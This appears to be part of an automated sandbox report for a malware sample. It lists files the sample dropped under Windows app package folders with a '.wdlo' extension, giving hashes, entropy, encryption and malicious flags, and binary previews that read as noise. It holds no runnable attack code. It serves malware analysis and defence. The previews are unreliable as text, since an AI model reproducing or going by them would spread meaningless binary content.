Preview:	regf....!.}...{_.5...G.)....E..Z..]...DB&._..Ns%..u.._Gv3.v..hp. (q..%.$..m...u....A.l[..9$.......Z.l.....R.9j.a6.c...J...G..fb.1b...5.3X......{c..f...$..y.6.H.q.FX0....M...xW8.N7.O.+7)..._....s.^..\|Y&....T.!5%..y..t/.h.!I.%...C.JTH..2..D.J59dV......t..pl.(4.......h.[.+......4."7....).D..?..C...zu.......I!..d.p....w...O..up......"...:.'..g..'....M.....O.K,.k..e[...c.,.,...... &qtjNDZ.....Z..,.8p..d.......?..0wV. ..3.:k.#..0....I.Q..v..c...=.....(.,.#l.......<......5w.c;...n..x..f..h..6_U....>w.~.*..'0.t.....F..9g....G0.@..]W.3.I.\|.pz.Vsr...7....6.>.....S...2m.o.f..."K....&...q..84.....:..b9.7....+...'.0+..<.$9...1//.J@Y.. =hv.n.b.m..b.KJ..aj.(..o....$.oq..~..8....H/D.N./8f.U.g.0.....jF..+.W.,.g.t.....Q.h.Hx.luS....~../...XY..'.~,x.....J..1..G...Q.]..:..>.ZM8.A...e....).k.>U.:.<2>G-.C_......\|<..68\|..d..:.....].."`>....m....4.b....>...1!L....m....e.....C...}.........4.M..R.....D.Am"-i...].#.Yn~...d.WrA%..R..l.5.....u.]X.........7

C:\Users\user\Local Settings\Packages\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979172437910287
Encrypted:	false
SSDEEP:	192:OA8IyzpUhuzsidkAQGCe18GAZDZA7Tlahd3TxmvndSl7J:OQytAid6G118GAZDZek3UP8J
MD5:	76816442B33BD2665C12982ED8BD3969
SHA1:	4C1347AF29B872A9BCC84475C0F906E0F4E3E539
SHA-256:	D6D07DBF3FE3E2E187993E80E6C2C549088C5A97FF8492A8A4343DFAE2787D77
SHA-512:	56099FF0C781167FDFB15E4CE211069D7A50D800FD9EFC9894506A4585176299D3C79964063020489A1E8AE534874442B0512442EBD6DE0B041D108D4AB8C6E9
Malicious:	false
Preview:	regf.k... &.Sk...x.bZ.94S.5..i.Q...$L.\....C.j(...!........s,..s7.;.VK.X..b..[c.1..!.u.lE..u.~\....r3..y....O.i..a.S%.C...vz^...Y.......l..C.;..q......u..S.A........e.;...<"..1.(1f>).G{...vI....?.?.GM.....9+.x....SV............Z.E6..OH{.H\7.9.M...r.w....^.5...PGL....p.'n.i..-....H...A$..?...&U..c.K....r?hC.....)...S......X..>..Lt..kc.,$.....4W'...3..vi.,..SF.....[8...n.F.?N\S...v........t`....p...."t..L...-$..V...O..J..!.....6...&. ...e.+.7{~...f.g..)k..f.l.>q. .0.>oY....P)...Jbx....iBs.QG.R.a...&.....p%......][.c...X.}mDx.i\|W..}.*...#.f.H..j0..p...`.3..E<.L1U.......=gz.2\.4[+..^.e.$.? ...g(.h.(...t.so.y.9!./N.}^...z...:..../.7U.aM......\|..'...(KWVe...z.m...;......m:.......h._.8....m%...tM.S..#.B.Q.........#..;.a.....PV..92.....h....../..Jd.!uRe......Ii......G....Q.H1...^n..8......w..B!/M.<.\\.....P..^...,~.i.j.H....H..O.8.E..J.(...vC.#b.eC....c..#]...eb...Y9....l/_.%)..{...U.....Y#..3.9.z?..)...~.J.@....a......#..G.F.f................

C:\Users\user\Local Settings\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979184256835834
Encrypted:	false
SSDEEP:	192:TXYkNxGe5rg/oefBElBxHWdz9D4Mk98tQqJzVK31XpoQTI2vZ26W:ToIGe50ZB4vH2D498KqZVKfowI2vZ26W
MD5:	EFB3AC6ED2BE7D31A713582CC8E1DBCC
SHA1:	F6010F7B3593939ED5E650A7DBB944EBE19DD1AE
SHA-256:	30F677C80214B339934D0CC66CB0027F262DB65767E133E53D9CF2B519D2FC33
SHA-512:	6A3BB8E2A5891B566AAFA38745928A3E6CF33749734D131B67C6FF90464FBD3759E513E104E03D4A8027A4ABA10EC4584F3160941DCA3BEA490325F55ECBB21F
Malicious:	false
Preview:	regf.>S...$c..!g.z.'.V.9.Z.U....Jmr_.N.'.[.TtG...y[....kw.N.Se.........\|.zc-c...........Y."....T(..E..)Ze.\|n .m...s,&7...k#:..lO.....I]XQ....._ .3.O~.c.h<....L?.....m.aU.S1.j......QY.g..D....4)..p,;.. =,...........[>..o..f......q....?..A...&e.K...-O.D..:......q.x.............#-+.U.jz?..o.)W[..j..CXX.2....{.^..'......@..g...7:.V.4..N.1Q.t.{^\.D....{q1...t`...2.C...:t.....!.4..^.N..MW.3..d....W/..&.{......mQ....wo..Kj'.q8.t.....+w.k.n,{x.mB}..^y...'.[..J..Z._...?]Us.4..[o;/.e..\i...XV..y.@.O.....y..j.M...&.....&...z.......R..N..{Zv.d9?....5......I....).../....l...U...4qrn....}...s...H.....Ba...AB.k.....U...aB9.../....2...D.0...--.../b.;z..=..5.x....hP.3w....I...b....V.u..H..`.U63V..........&...o..s...vM.I.9..UZ..@s1.u...Cb....2.($]...!O..D....3.z..d. #qe...sQV.......$5..H..L{y...4..l.H.e...l...RYSQ.A.q..x...oM!gV,...2...a..b.C..C.....E.dh.{.3.n.0...yFhW?...in^..N...}E....*c......(g..>o....-.....#.<eu@..?.XfY...2...Kr...{'QM]n...N

C:\Users\user\Local Settings\Packages\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976088533228678
Encrypted:	false
SSDEEP:	192:ZExN/JAUi+BJv3ZJ2lHfOWl6pCepZoEkzW0qi15pjWr:ZExN/GPy3n2Bx6jknqUvWr
MD5:	617289977F1967E81448284A359D9B1E
SHA1:	7928CF9A349284263D5201769D73B602577A75C9
SHA-256:	8EC7EF9AF9231D2925B7C6921910F7A3BD28EE4E496B983442764ADC26EDC85E
SHA-512:	8CF6841BED7A74A9AF134BF3E1554019DD08A4E22A7C1657B1389B5E8B62AEFAB067132FCB17C1D0695F4289EAE5E5B5DDB25CB2B98406E28F554F27B22BFB91
Malicious:	false
Preview:	regf..{.............W...J.g..^}[...g....XY5V..w....7...%.(7o-.hw+....[]3.3..9,.d_l.^....P.N.u.Z.<.........,.(B.L.:..Yb..T.;...g.. .o...8l.5...]7C{Z,.=.}.r.y.......`."U..CD.._..5.m....."0.m.P........1.....F.........).....~.^\|ux?a....S]{.p.V.6...z.w.]...........2....S...x8i... &.....I.....#.u.0...&C.F.!.te....~J.ye.~>....#3W&..@....k.\o..xr..!zV...#C.... y....@.X....=.......e^~....xA.....<.....<...ee.lP$...L.X.GD.....^..Z..R....gw..v.d......:.......q..RB..n.h<...W..c..bH..G..;....2..#. R.....w...sX6.W&W...%z.....C..{g. a9.(.r...{L.).^..vI......h..*..J). P,..s.O{Q..(US........i.H.Rt...........X.&.pM.#>..9..a.A.......W.E.a....T.7...`VT9{.@.g...N.Y....-..33A.v..f.s...../.r.n(<..3-?+.S....&#..0..Yr...`..j.Iu.....r$. ..E0....mk'?......G..D...0..S.+Sw&h.j....\.../G.T..D.........m......J.%.7KB...L.d..J... ..4..P....O..O\FP.4...Aj.I.y@.....z.&...dW..D....P.LF.U...tk.....S....r...F+.....Y....r-Z1..s1...tN...q......v.S..Sc..2.\|...`..-..Z

C:\Users\user\Local Settings\Packages\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978822137600805
Encrypted:	false
SSDEEP:	192:sI6D9FYE3hZPY6VA8zSnn2ZqA4Pp0aeDo3:qDfhhlun/JR0a/
MD5:	51D1DF1A0FB197B99A658284EB437FF1
SHA1:	1EF97E3B6A9852628C83B5638F30D93F37C0AD32
SHA-256:	ACBAA80108511DBBB9320BAD58E38FAFA72389D5B697A900FB6CD58C1E357AAE
SHA-512:	B203906E30657D75C2BAF7DFF0084398157A2BFB96F6AB3A4D80C37DDE584A23F66A1E8B36C02F95FF370E6EEDB1C45FDD68C367EB581D131E65AEB5028C8963
Malicious:	false
Preview:	regf.3].....<..cW.o!....d..(m.U...&hV..V.5.4.H<P..d......$+q{......3h`F........8H_E......;]_q.E..n([.....j.~0;&.A..,.6.q.t...u....2...dA....@..._.b.y.b:....4.3.'..4n....Z.om,=v.+...s.s8.~....]C.c.aD...Gy&.rMJ.\.\.O@.D.Cs.[._}.....1........f.?..).m.......1h........:2...MLCP9...Lm.&.J.k..6c..LX..O.#^..J...w[,.m...p5.@...................RUs...U).z..5........+....T..X.S.:.+.0.&0....+u....o....(....k..Cy.[.K..].}..P.=..r.M.[..`.2.w.BL....&R.qf...\...F..Z.8..;\:.#..Ik..Q.8Q.{..@... .8....$..6(.PX.?f...O..\\|K.6..%....B..?..._Z..a:o. .[R..Nz.F...).bb...nE#By.J..i......Q...h.s.Z...+.6B.=.......-....P.i...R.....j1......E....l...Hj...u....tMz...ka.\.....a_..>.1.u.....(.......8.a...f<..3d?\|...T.......98....;@=Gp........ns..%...p.>j!.Q.@....=.j.......g&...o$ ..A..S.".Z..j.[.-.wm\B._.X@w.7.O~#z...6`.?.c...f3.G.c,=3#l&w..KL.H....Q>.....[.r4K.G..L .f\.A3.J1}sd..S..m85.......^..u.."..=.y.M.`!.8D.-,....M..9.....Q..\-p.t.B...T.....8......C..gL0.5....

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.995109879759497
Encrypted:	true
SSDEEP:	384:obef5LXYv/CqyQEFnBitbU2xn7MrMBC10mJH1h6HGS0AHvbb866tgV26IwvdZK9o:uehLovVD8BiFnhNmZ6db4xtk261dZH
MD5:	AC53FBEDB119C3E79700A95B306EF70A
SHA1:	B9FE3DC8FD753F0C229793EAD2D3DC14D9C53D6D
SHA-256:	50BF922E3C979FE7F3745865AD5677F32E8D5515C9503D1C976F5C81A5C3351D
SHA-512:	EF48195E62D6DD537D931296C3F6CA4804C3BA79DD3BE690360CA6A124AEB5000D7D9F08F5AC2E8FD4F7585F2B43B6BA4274FC1278F39C742A2483DEC71C8C01
Malicious:	true
Preview:	..-.......7\|.1..Y..l.33....a...._.....D.X. ..p.....N!..9...q..CN.1...R.4?P.HX'$....9...X..[C&.U/b+.,..?..h.o.[.._.(.IH.v.."5=..%..A..%........g"..Pw.Y./......R.3.O(.._(4....... .#.>.p..3.....i...R...Dm........Mc..E..y=.\|.i..s.........fY`.,...r...#f1U...2. ..D.U..\.H......=..+e...6 .9k'.h..-....\|E...6..EN....b3.....Xw....a."@..5.z.>:.\DJQ>-.....".wy....7DJ..b.$6.hs^.S.s...HP.AOCC.d.F......GIy....n...q.....U."0..^J./..'..].~.......?.n7.$..s..X.U.l..N~..}).....P.....r;....3.....P....... ..4>.......&...:...(.=lo.{.k..K&..8y.0.0]..."...N.U.M.9:.;<..W.P.........!9..._....k.....(Y)....!a........9.i..)5x]G.o6"...;]Z......D..U.0........1R.t!...H..xU...6\...JdP}q......vP.mn.}.<s...2.Ad..6vT.r),.(A.g...s....\z..Y_...N.sx..Y3..[1....D.,.,..MJV...h.C/6....`q......a..b....G&..w...1W..UC.\|.zu.r.q.:.._YE.IR.W..+.6@.-;n..Ru.i..I..\O......4..P...g.....,..t./4!..6...m."...f.....!m..6@\|P.FZ.!...-.8.)..).(.KR.8).+..9v....Vj.l#...>T..X..tZG,o._l..H3..g.

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-wal.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	SQLite Write-Ahead Log, version 3235334
Category:	dropped
Size (bytes):	1384686
Entropy (8bit):	1.9274738116668466
Encrypted:	false
SSDEEP:	3072:Ygqa8Cj+pT4aPBlbIagEVDmIuzE/rTDam8PwrWUsfTLYruwOuLUQfZolR9FEeI02:YWPj+pT48BlbIaz/HrTDz9rzeLYPUi1
MD5:	18BC8F53064035D7160F61C3902B7934
SHA1:	2BFDC7BEAB3355BE438D5A250FBCF6A38CB7E473
SHA-256:	377BC3BFDEC17836F5867A4C8AC622BB996C6A85CF1298B7F8067754A68A8EF1
SHA-512:	3AF0D3DBC58010748E2D538082FD0E9A86C3C4DE87924FCF799A3C88387B8D3D6D0163E45E86E9F05C77B5CD788E81A03AEA0113BE01291A85EB2654B47CF5DF
Malicious:	false
Preview:	7....1^.E..g.aF.....5.....N..fuj.~{o.}....<tZ.0..a...b&g...h...OZ\.2....a...Q...h.<.....({Z....l...Z.:.?.&n-.,\.pb=x...N.....v.0[...%..CE.OX&..{..Zv..8w..c.V....D.m.O...Sp,..u.............&....N,.<X..._....-\|9.<.670.^....N....b6s.>.{W...c....K.5_...s.....1.......9~..s.-..&.y@n..lL=H./.D.1%_...O:V..s..GM,/>'.a..<...(.......N.8?..6..q..mYU....o/...wW.....u.$O..'..OQ.......f.>.....6.d..p.!..R~h.....?.7..7r..3B.cp...dc.j$.n."..:1...v<..3..A...&eI,....5{k.7"j...t..\.._....Hjn..0 .E..mE.d...?..6.1`.....)..5!....gA..,#!H..Hk+t.e\|..D..}.r6...qUy...3...!%..W.8......FI.........;....+....s ...L.&.G..T'}w7gd...Oxm@J.i...jA7...M..L$......<. ...v00..J..K....;\....T..~S.>......@.^x.=..G..).8.P.7`(." q.....%bT....d.E0V+..70.._...8.a%......TL.Jp.=.kb..+%\.L..A.G.w.sR..^4...j..0.gs....o....(...P..^.}s........n.=...^.4.E.....DA.r.-IX..X...Z....W...RJw:D:..x`..t..f.%..y:Q..X.u..4.....c......5.$......{.j..T._.:.f.}...e8.D. 6.u..0S)<9....8~...7`...

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.954166953301505
Encrypted:	false
SSDEEP:	96:/5UR2GRLUNPpHyyKVLgN0M1WndgrbWmaFgU6n0FhXVzXjL:/ORlRLscyKVLsv1Wdg2Xwn0R/
MD5:	AA099FD7A8BF8227B4EBC78B925D7073
SHA1:	FF122B079C05BC049BADB9A0659C7F283C8B7164
SHA-256:	659D1A9726CDC06D73A156BFD1929279FBDA4B469FAE01FEB7CB39BEBD7A26DD
SHA-512:	A553DFC692F68C1402DD77423DDA054F0F91131E54DA60E47E03D7E3EED465601618466AC032FDBBF4ABABD6D025F384E66640179AC5D4AD6398025401EBEDF5
Malicious:	false
Preview:	SQLito.VR_.......~k.....yr....E.W.....v~.3.....I.g.....u.....Z..8;<&..Li?.h.V.h...y..&.W.K..RT.l....w.".[..1..Q..e'.@~].......RX..h.`.r..56.=:a..V..J.@2c....m.NiU...g.a.z.mZzf..wp..D#.Yg.8.Y.Fa.....H).c..X5.L...:8..%........-.R.C..9.....o.......R..........l....d...U.X.o..U...o.`.x......nK)..)...Mb...#.#.pc..\|.5...<...... .A..n.%..}+..&.-#..*...n....xD.x.E.5.k.(.." .v..}E8.\..UA.....7.w.....4O%z,..)........;..T\....F-.~.u[f.6.G..Y.c............E..P.Khf,.V...`..'.i{#OF.T..h.....,.=...8.;.%5...c2q...<.W'.g.....C...=..h...b.i.5...Xh.y.3C.......3[0.)........f.\.(.H.V..ne...N{......E.<.?sN\...b.q:O......u......U.....YH.{x.F.......w......ZK...!.p..cny.'.N.<..a..h..5....O.Y..-\..%.....^w..9>8......V.g.hUs..j5.v....<w..Hr..cW!.Ia..Wg..-"................U....;....Y.m:.<0..I....A....^....W..0..+b.\..t...#iaVS...hT..hJ].H.....7..\..r0VPV.......{$n...s".H......MR....;....n..=...T....+..M.-..B.@..i.xg..![..a...06.,...2.;.j...~.t/..C.

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\PhotosAppTracing_startedInBGMode.etl.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.997244541188427
Encrypted:	true
SSDEEP:	1536:1os2o6shBhHhvyYQXMuWVr4DyFmt44K8zNLQbk1ZXmdSgLZmHNM:1oELhvHIYQcuqk1t44K8zqk1pmw5HNM
MD5:	CE9CFA7A1C448F5DD78C72617A150038
SHA1:	67AD76AD7DC6B010512B84B25D4F132B090E78B0
SHA-256:	EEF18D6A32F150F3645802556AD92B01D4A66F29EE281604F22EC07826813004
SHA-512:	B0DE3E5BC2717D571A3E0F447F7359CE5273AD112D05FE1125551CD122964F17F844882DAE1F02356E78CC607A13E05F2181D4256EB04133C5BEA53A62951CCE
Malicious:	true
Preview:	.........07..+@..s...i.(.CT....y<bx.;...C.......d.D..F ..@u..;....L.)..+.7..S.....ix.RzN..C.....m..N...X.....y#.w.F.wI()..\.....!.:W.KS..z4...g.5.$,8@.WK..Z..I^..d(...i.~......U..0..EE...VqH.){j..+.B.0\..Q...R..\..../....E.s.....~....M.{.F..o6A(.dc....cI.J.'-7....P7..._.7.....\...I.........Zd._.._..n.......b..U...m3........Q.......1"J....%,._=<W.....i.....@.q...].o\.j;...#...v.^....uj8.....s3.b.....x........K.).y.>.........D....LP.2..t....M.v.v.e.....=.?n....s....1..@...p.......7ux..A...g...L..w[......f.".!..+$.]...d0.....2.qW.U.o.d..]..Kb.Z.~ ...,..^#z.yce.T!...XO...LU.-=..!...:9.].X0..87...+.....x..MT...1..:..j.'.Sa....{O.tmU...y..`k.I..o..V8?Ls...d32rI...`..K.p..F.t...m{.nzbT.f.qn6./..d.).6.......l.3.../...~.......%QO$...w...l.4%........)a......i....1..L.Z<!~4\.!.vq.4......Uh...V..>B....3C.6.p...........&..q.E,..6.R.d`..k...`<xs..._.V..U.C.b..../.i.1?.aG.U.R....s+.@)9k...@...s_..fjw...8..<.Xc....gs.Z1..^g..*.z....

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat.LOG1.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975162980334828
Encrypted:	false
SSDEEP:	192:4wAc7fkKDMk5SbHbem7Ls+93bm/O03S49cbjTzlcQQqcWHFEMfvbTL0s5:47cRUfeJv/O0XcbLlcmpHFRXp
MD5:	0FED207F0BA2043780309C549F8C985B
SHA1:	7D386B3BB52169428D7209B5244A012B4B053FDF
SHA-256:	354536431A67D3D3B352C625D6B003CC0C21A0154BC453F2C1A04B6DFAD29332
SHA-512:	69201BD842E6D6DEABAA83C8FE89A27DC43DB15DC43387512074E4B704E089E35B2DAF108F0B3DB2A48068A7E6E3B28F67E779E0C388E200241E67BB25F0C145
Malicious:	false
Preview:	regf.;o.i...\|tn._$.gn.....9...(S..+2....7...tt.?-......V8..w..gW;u...`.6..[.... u...cj..im...f.1....S..l0..i.=A..)...6b..K.7d[<.+1H.........v.b.F.g.C...A6.....0.....wa.u3m8...9.Z.`..?.x...'i{V.j.AbA.R..m..g....0...GLj..RNl"...>..9e....#.`.>.a...w.e...z#b.>...:1............_....2..@!.E..../.E.....\|"...\|Eh........ vG.pE.x......}}.....C....?W.......9..o...........]y_......;.!...#..).0.9.....G.....}FWg1h.'P.(.e..v...\.S....>.}.}..n@......g#.W.jn{4.c..h...M!....i~..EJa%.H...?.....:.f..k....3w.].\./..............C..g....c"....!.%,..lX.CR`/...I.e.A....u.._.x.t.....l.C(B(.R..i.....`of.eX8.....L..NG(]W. .RAj^..Z.....eV..E...T.k.J.5.`a..n.S^.@xc.v...LU`.N.SXH........9Y....z......a.Zw.L.^@.0..)V5>S..$).?..i.f.M..rW..3.2=..d.z)K...bZ.`.L$"\|....].B..~..".8".......A...uAs..!0.o!N..v...V...N.j\...J<..7.c.?n1..m.r.R8.<..V...0h..q.y..p...v5.N.R2....n..3=.....H.g...... .<.x...C..PN.35....[-Qnk.A.'.m~[.......e_LrI.=..[`./...n.......D

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976500897568417
Encrypted:	false
SSDEEP:	192:ZCMiyaGtzPTOPgtR/8FOJJw8oLsJAbOgDWIJ:opZwq4tB8YZL3gDR
MD5:	9841E4FC606465C10B34C0E68CF59FBC
SHA1:	6F44B3327D37EAAC98B175CFBE117D593EEA772F
SHA-256:	778F91B47A1892190C10FDBDA3D591B2FF98365AA00EC83308F6FF56DF104F46
SHA-512:	9320DB55430196A931641B0EFC0318E42BBC4587D4A789C7659323B45BB802A25112D62A0F2661FA784C4A3E8EB7D77A9B9A1C9B12F0B46A933A3135F26F0C35
Malicious:	false
Preview:	regf.+..3....k.......X.~..\....W.....-{.\........QO..C.s`$.......9.....]..Q.......'3.+.. 7.{....=.{.........a...K...z.....r{.r..F.M..k..........i....W1..@r.`Y\<..rUa@Q'..........A.....g".f8.\|.J9.....7.Rb.a...8.....nr....:..9FwH38I...~;.)..S...q0l.]s=.L.q..>.a..y....>...3....{....o..R....9.....ILd.$.6=P!...S.6!...#G.....".:..(.Ct.F5=..1..CC.+./`...g..[c.^B..u..........A.A...Fl...G...x.).....R.\|{.....xH..7.Y....\.u~P....}.fu..H\..R(.....1.Ha.8u..Ebi.......V.IU..'......ToKz....q..J.y...G..z...5K/+........g..F...k..+.YCA....W.\J.Ew8.u...x7.R.k..${.!\..Q>.}.....{....I...e.:.N..ljL.~..$......I.;.....!........(x9AS..M7.sA.....-....G....T....H.;..;t..3..K.d.....,J....v.:..J.....%{.?..A........wS....C.M:..S0..t...9.4....Vi.4.7....."....K..<.C..E....f..Q.......SJ.[ ......<e.....K)QuW..k.....^.\|.%...(..b.3.........>.-7..~.&bY}..<...+.w..T)..D3...n..t...8Uh.#.cSp.]........'.\...UX).....$.9s\.o.......X..NG\]...#1.j.ei'\|}.....2..x-5.b._[.h.

C:\Users\user\Local Settings\Packages\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980533507505573
Encrypted:	false
SSDEEP:	192:JdMp5NpeuqvVkqCN3BMsWuLOAO++fewkf/CxcrYr:HM+uq9k/N6uHO++fexTYr
MD5:	F9D5B3642C06F4EF8069D7E0949EE8CC
SHA1:	B5B19343E772741D5F1F82D4807872FC7671657E
SHA-256:	DE6DFB2BDC286937724440D04799953B21F7204E48BBCBCA3D694B3F7CC58BA9
SHA-512:	4A6BD1E7533083885806FDB244753DAC5F1E5A6B2FA006622D538287C451F45761D472E6086F4B93C9F5A9DBD886427C9806F395DAD250A92D149762F6D3BC80
Malicious:	false
Preview:	regf.u8..\._.U.\|a.(c....(v./......[9@..a..w.X....1m...A.(v...n..NTYB....".P.....Q.>{.....e:....8.G.l..'....b.......8A..M...#.~B[8e(....$qo-....-.....j..7.:....o.Rn`u.....2g.W..Os#..7Y?c..;......t.E....bt....JVq}..r....<.w.L&....\|l..tI&U.f.Y7.!...........I...4c.X.../.Z2f.rv.Z...V.......`@I.+.u..'My.D5..Z..vP.J.A9&.Eq..>.do.:.Q....Q._..</.0.^......`.&...IGE...t&v7...gS....w.yYAjr./d4\|&G.......j...=.....&E}.....O..,....A..:.K>..Q.....jn..z.x.......uo..).R#.ku[....8B..G....5.....I...`...MUC.......\|$x@...g..'.L+.).y.......OF..._.)....{....9&.._..)......B._w....GT..@....b.p..J._.\O.]..=..]v...V,.G..kC..rZ.jRn\|t..u..&+.......u........Y.-.t..l.^..~...G....N0g.@..@.Q:.s8.....F4.T.S}y1.[...X.}..x...=.f.3.....G...g...NA.................eG..J>.....rY._..^.f'....*...]....%..s%.....p.T..I..f.r+...#,..5u\|`...-=.l0.....c..`.(VJ<.m\|........XR.....h").....].....r;....'.B(1)......W.sw..].Jv..(is....2.C5....6(...$..t.l0.~...&...-....o:.N...8.^.eB...CB

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	38786
Entropy (8bit):	7.995383790103188
Encrypted:	true
SSDEEP:	768:ZxpEPKGt/i/WyIMJoiU/OlzUmg3JWM48XGw03fNF0MO5/NqcFT:ZxpEY+yIizQYM7/03lSMalqG
MD5:	F84B7E5C7B78DE22A9240843E52AE9D6
SHA1:	2803ADEF4E2E187F3F886EBABC3AD71F6AA04A1B
SHA-256:	0F37F2314E063DFBA9A51BB27B90C2170C60D07060F50E522C703FBA53CB853D
SHA-512:	8524CD69989D22FFCCD009C9543E7BBF39C6B22E15F58592EB7EB5C1B790342C6A8F7184F9C6BA7AFA8624A261FBA66EB14D05535B96F2FB0F36B98F92E867AA
Malicious:	true
Preview:	.4...}q..U4..I.M..6.....p..?.6..5..u.=....N..i......`.u...\.3.......i)"...O..0..r.........Z.c.94....i4.$C.....PE.......kc...!..l.VP.x.5;Dg1...cW.u[..]+o.3.hp.4.na.........pz..4.WM.V..1.r.Mj.J..+..u.[.]J..U....5..;s....)......=E.1Z..h%.n..&...3..\...l....y!....H...3.e...'{.........M...._.N..IU..5,\|......%..E.Kmd.Y....S....T.l....nz=...6".&.../.w6..:.}.i.G...........:..'g.......t,.....i.....'5.+.?....J(..l^..%.#......%..P....k.....%XiL.S...n...F...W..2.4R..F9..#,...W..z.#.1.R...t.Bg.9....s..V %....z.....<..........#...[.........:t"....I...?1.2.i.&.SV...F....F...P.&q....pj....#....,$.@7..+._.E..w..$`......2..X...B{8Y%.X.r.$3.U.B!..V...e...6.....Qg0...(;.....x...N......t....2.%`j.z..6.j.s8.)UU.,.8.+...2.....I...4.1.N.8.Y....`..lx....nd...........=CMM.....).l...S.Eh.._..amUT1...Yy...tG.....~.....6....`....+`..T...8Y.D". ..W..V..._.\|w....>V.)K~Y(*.R..T..XE.Y...k..v.....;....^.. .?.z...f..x6..<f.1@.W......ye......H.:LxQ..=.{."t]4@.H.r.c"p.4,..Y`VM`

C:\Users\user\Local Settings\Packages\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976849613506747
Encrypted:	false
SSDEEP:	192:XhGxxR8mKzOUvepbM1TB1V/tEoLkszi6xj38GnBoXMeAxoZG62hYx5jNdAYd:xGxxR1KlvZFEoLxi6x4GnBoXMiA62hYT
MD5:	1815592ED8F65DB1E19EDFF7AE2B2666
SHA1:	3FF6D5CF2E267C333DAD6F0669F5DE5BDB399D10
SHA-256:	ECAF56E7FAF26F6C35788D560E335362C4F1E8960D0BAAE83309711D66AE7E2B
SHA-512:	BF1D18A4D597A31560ACCD537207C1A360876C357719EBF032F254A1EB1EE35DAF91D5BDA6C2AD572578E92982779E512DDFE11593B30CDAB94ADBDDA8708940
Malicious:	false
